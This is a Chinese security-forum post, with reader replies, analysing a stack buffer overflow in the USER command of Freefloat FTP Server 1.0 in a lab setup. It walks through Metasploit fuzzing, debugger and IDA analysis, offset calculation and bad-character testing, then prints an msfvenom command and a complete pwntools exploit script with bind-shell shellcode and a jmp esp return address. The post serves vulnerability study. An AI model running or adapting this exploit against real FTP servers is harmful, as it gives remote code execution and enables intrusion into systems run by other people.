吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 5503|回复: 11
收起左侧

[漏洞分析] Freefloat FTP Server1.0栈溢出漏洞分析

  [复制链接]
hqz66 发表于 2021-3-24 15:37
本帖最后由 hqz66 于 2021-3-25 18:26 编辑

Freefloat FTP Server1.0栈溢出漏洞分析

一、漏洞信息

1. 漏洞简述

  • 漏洞名称:Freefloat FTP server – ‘USER’ Remote Buffer Overflow
  • 漏洞编号:EDB-ID 23243
  • 漏洞类型:栈溢出
  • 漏洞影响:远程代码执行
  • 利用难度:Esay

2. 组件概述

freefloatftpserver1.0 用于打开ftp服务,用于上传文件和管理有线及无线设备的软件

3. 漏洞影响

freefloatftpserver1.0

二、漏洞复现

1. 环境搭建

  • 靶机环境:Windows xp sp3
  • 靶机配置:
    • freefloatftpserver1.0
    • Immunity Debugger
    • Mona
  • 攻击机:kali 2.0
  • 攻击机配置
      • Pwntools
      • Metasploit

2. 复现过程

使用两种工具Infigo FTPStress Fuzzer和Metasploit都能测试出溢出漏洞存在

2.1 使用Infigo FTPStress Fuzzer触发漏洞
2.1.1 在windowsXP运行漏洞程序,程序打开ftp服务,并监听21号端口

1.png

2.1.2 ftpfuzz触发漏洞

2.png
3.png

eip指向fuzz发送的测试数组‘AAAA‘,程序执行流已被更改,存在溢出漏洞

2.2 使用metasploit的ftp fuzz进行测试

攻击机kali运行metasploit,运行如下命令

    #打开metasploit
    msfconsole
    #查询可用的fuzz
    search fuzzing
    #使用ftp fuzz模块
    use auxiliary/fuzzers/ftp/ftp_pre_post
    #设置靶机
    set RHOST 192.168.112.146
    #漏洞利用
    exploit

运行结果

4.png
5.png

靶机崩溃,eip指向未知内存地址,可以溢出

三、漏洞分析

1. 背景知识

最简单的栈溢出,jmp esp作为跳板跳转到栈中执行

2. 详细分析

2.1 Immunity Debugger调试

在靶机用Immunity Debugger打开freefloatftpserver1.0运行调试

6.png

2.2 python发包测试

在kali攻击机用pwntools编写脚本,向ftp服务器的USER输入点发送数据包测试

    from pwn import *
    p = remote("192.168.112.146", 21)
    paylad = 'A'*500
    p.sendline(payload)
    p.interactive()

程序崩溃,eip指向0x41414141,由发送的数据A的ascii码为0x41可知,USER输入点存在溢出漏洞

7.png

2.3 定位溢出点

输入用户名之前,程序会输出一条ftp服务器版本的语句,在immunity debugger中定位输出这句话的函数,从而缩小定位漏洞函数的范围

8.png

查询字符串

9.png

在wsprintw函数设置断点

10.png

重新发送payload,单步调试,直到运行到出现异常的函数freefloa.004020E0

11.png

在freefloa.004020E0函数设置断点,重新发送payload,f7单步步入此函数

12.png

重复上述操作,接着在freefloa.00402190函数设置断点,单步步入,程序会在运行到00402881处跳转到004028EB处执行,之后调用freefloa.00402DE0函数,程序崩溃

13.png

在freefloa.00402DE0函数设置断点,步入之后未发现存在子函数,并且在返回的时候执行retn 8指令

14.png

观察此时esp指向的返回地址为0x41414141,执行retn命令之后eip指向0x41414141,使得程序崩溃

15.png

得出结论:freefloa.00402DE0函数可能出现栈溢出

2.4 静态分析结合动态分析

用IDA加载程序进行静态分析,定位到函数sub_00402DE0

16.png

Strcpy函数存在溢出漏洞,将函数第三个参数a3的值复制到局部变量v8中,如果a3过长,会覆盖返回地址,那sub_00402DE0函数的参数a2,a3到底是什么?这就回溯到调用此函数的位置了,通过之前动态分析可以得到调用函数为00402190,IDA静态分析分析得Sub_00402190将输入的字符串与各种ftp命令进行比较,根据命令进行不同的响应。

用immunity debugger回溯到sub_00402190函数里的00402881地址,这个地址的指令跳转执行漏洞函数00402DE0,查看栈帧能够获得参数

18.png

在IDA中定位,aXommandNotUnde就是上图的command not understood字符串,此处跳转执行402DE0

19.png

20.png

参数1 V16是输入字符串长度,参数2 v17是输入字符串‘AAAA‘:command not understood’ 查看函数栈帧可验证

21.png

结论:函数sub_402DE0栈帧结构,(ebp实际不存在,只是方便记录相对偏移)

22.png

只需填充0xFC-1个垃圾数据可溢出到函数返回地址(-1是因为程序在输入字符串前添加了单引号),重新组织poc,返回地址为cccc

from pwn import *
p = remote("192.168.112.146", 21)
payload = 'A'*(0xfc-1) + 'cccc'
p.sendline(payload)
p.interactive()

返回地址为0x63636363,是cccc的ascii码,验证成功

23.png

4. 漏洞利用

1. 利用条件

Windows xp sp3未开启DEP保护

2. 利用过程
1. 排除坏字符

在生成shellcode之前需要确定坏字符,用mona生成一个0x00到0xff的bytearray,发送payload,比对哪个字符发送后会破坏payload,将其排除即可

from pwn import *
p = remote('192.168.112.146',21)
bytearray = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
payload = 'a'*(0xfc-1) + 'cccc' + bytearray
p.sendline(payload)
p.interactive()
2. 生成shellcode

利用metasploit生成windows反弹shell的shellcode,排除坏数据’\x00\x0a\x0d’,以c语言格式输出,靶机IP192.168.112.146

msfvenom -p windows/shell_bind_tcp LHOSTS=192.168.112.146 LPORT=4444 -b '\x00\x0a\x0d' -f c

24.png

3. 内存中查找jmp esp命令

使用mona插件查询jmp esp指令的地址

!mona jmp -r esp
#或者 
!mona find -s "\xff\xe4" -m

25.png

从中选择一个地址0x77D29353,作为跳板,跳转到栈上执行shellcode

26.png

最终Exploit.py

from pwn import *

p = remote('192.168.112.146',21)

shellcode = (
"\xbf\xb9\x9b\xb3\x2f\xdb\xd2\xd9\x74\x24\xf4\x58\x33\xc9\xb1"
"\x53\x31\x78\x12\x83\xc0\x04\x03\xc1\x95\x51\xda\xcd\x42\x17"
"\x25\x2d\x93\x78\xaf\xc8\xa2\xb8\xcb\x99\x95\x08\x9f\xcf\x19"
"\xe2\xcd\xfb\xaa\x86\xd9\x0c\x1a\x2c\x3c\x23\x9b\x1d\x7c\x22"
"\x1f\x5c\x51\x84\x1e\xaf\xa4\xc5\x67\xd2\x45\x97\x30\x98\xf8"
"\x07\x34\xd4\xc0\xac\x06\xf8\x40\x51\xde\xfb\x61\xc4\x54\xa2"
"\xa1\xe7\xb9\xde\xeb\xff\xde\xdb\xa2\x74\x14\x97\x34\x5c\x64"
"\x58\x9a\xa1\x48\xab\xe2\xe6\x6f\x54\x91\x1e\x8c\xe9\xa2\xe5"
"\xee\x35\x26\xfd\x49\xbd\x90\xd9\x68\x12\x46\xaa\x67\xdf\x0c"
"\xf4\x6b\xde\xc1\x8f\x90\x6b\xe4\x5f\x11\x2f\xc3\x7b\x79\xeb"
"\x6a\xda\x27\x5a\x92\x3c\x88\x03\x36\x37\x25\x57\x4b\x1a\x22"
"\x94\x66\xa4\xb2\xb2\xf1\xd7\x80\x1d\xaa\x7f\xa9\xd6\x74\x78"
"\xce\xcc\xc1\x16\x31\xef\x31\x3f\xf6\xbb\x61\x57\xdf\xc3\xe9"
"\xa7\xe0\x11\x87\xaf\x47\xca\xba\x52\x37\xba\x7a\xfc\xd0\xd0"
"\x74\x23\xc0\xda\x5e\x4c\x69\x27\x61\x63\x36\xae\x87\xe9\xd6"
"\xe6\x10\x85\x14\xdd\xa8\x32\x66\x37\x81\xd4\x2f\x51\x16\xdb"
"\xaf\x77\x30\x4b\x24\x94\x84\x6a\x3b\xb1\xac\xfb\xac\x4f\x3d"
"\x4e\x4c\x4f\x14\x38\xed\xc2\xf3\xb8\x78\xff\xab\xef\x2d\x31"
"\xa2\x65\xc0\x68\x1c\x9b\x19\xec\x67\x1f\xc6\xcd\x66\x9e\x8b"
"\x6a\x4d\xb0\x55\x72\xc9\xe4\x09\x25\x87\x52\xec\x9f\x69\x0c"
"\xa6\x4c\x20\xd8\x3f\xbf\xf3\x9e\x3f\xea\x85\x7e\xf1\x43\xd0"
"\x81\x3e\x04\xd4\xfa\x22\xb4\x1b\xd1\xe6\xc4\x51\x7b\x4e\x4d"
"\x3c\xee\xd2\x10\xbf\xc5\x11\x2d\x3c\xef\xe9\xca\x5c\x9a\xec"
"\x97\xda\x77\x9d\x88\x8e\x77\x32\xa8\x9a")

# 0x77d29353 -> jmp esp
payload = 'a'*(0xfc-1) + "\x53\x93\xd2\x77" + "\x90"*16 + shellcode

p.sendline(payload)
p.interactive()

注:shellcode前16个\x90是因为函数返回时的retn 8需要跳过,也可作为滑板,同时作为缓冲区防止执行shellcode时更改内存使得shellcode执行代码也被更改

执行流程:

27.png

栈帧结构:

28.png

Shellcode使靶机开放4444端口进行shell连接攻击机,连接成功

29.png

四、参考文献

freefloatftp漏洞分析.zip

1.18 MB, 下载次数: 30, 下载积分: 吾爱币 -1 CB

免费评分

参与人数 11威望 +2 吾爱币 +110 热心值 +11 收起 理由
淡灬看夏丶恋雨 + 1 + 1 我很赞同!
77-68-6f + 1 + 1 我很赞同!
碧雪秋飞 + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
victos + 1 + 1 谢谢@Thanks!
毕达哥拉斯 + 1 + 1 过程详细,赞一个
fengbolee + 1 + 1 用心讨论,共获提升!
azcolf + 1 + 1 热心回复!
chuxia12 + 1 + 1 我很赞同!
水逸寒风 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
gaosld + 1 + 1 用心讨论,共获提升!
willJ + 2 + 100 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

淡灬看夏丶恋雨 发表于 2021-4-13 07:41
仧小张 发表于 2021-3-30 07:19
哟系 这个得学一学 逆向+网络(抓包? 还没仔细看 mark了)

差也差不多 栈溢出的一种的吧 我感觉。 这个漏洞应该挺老的。也有些时候了。自己复现一遍就差不多了
JuncoJet 发表于 2021-3-25 16:21
飘动的云 发表于 2021-3-28 16:36
wei0209 发表于 2021-3-29 20:31
表示还能看懂赞一个
仧小张 发表于 2021-3-30 07:19
哟系 这个得学一学 逆向+网络(抓包? 还没仔细看 mark了)
ss_wlc 发表于 2021-3-30 19:44
看不太懂。我在哪?我是谁?。。。。
longbbyl 发表于 2021-4-2 15:34
努力学习中
wildfire_810 发表于 2021-4-7 06:32
确实很厉害啊。可以做热补丁修复吗?
xtay1987 发表于 2021-4-7 12:23
很详细,很实用,谢谢分享
jims 发表于 2021-4-9 00:34
辛苦啦,感谢分享!!!!
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-15 12:10

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表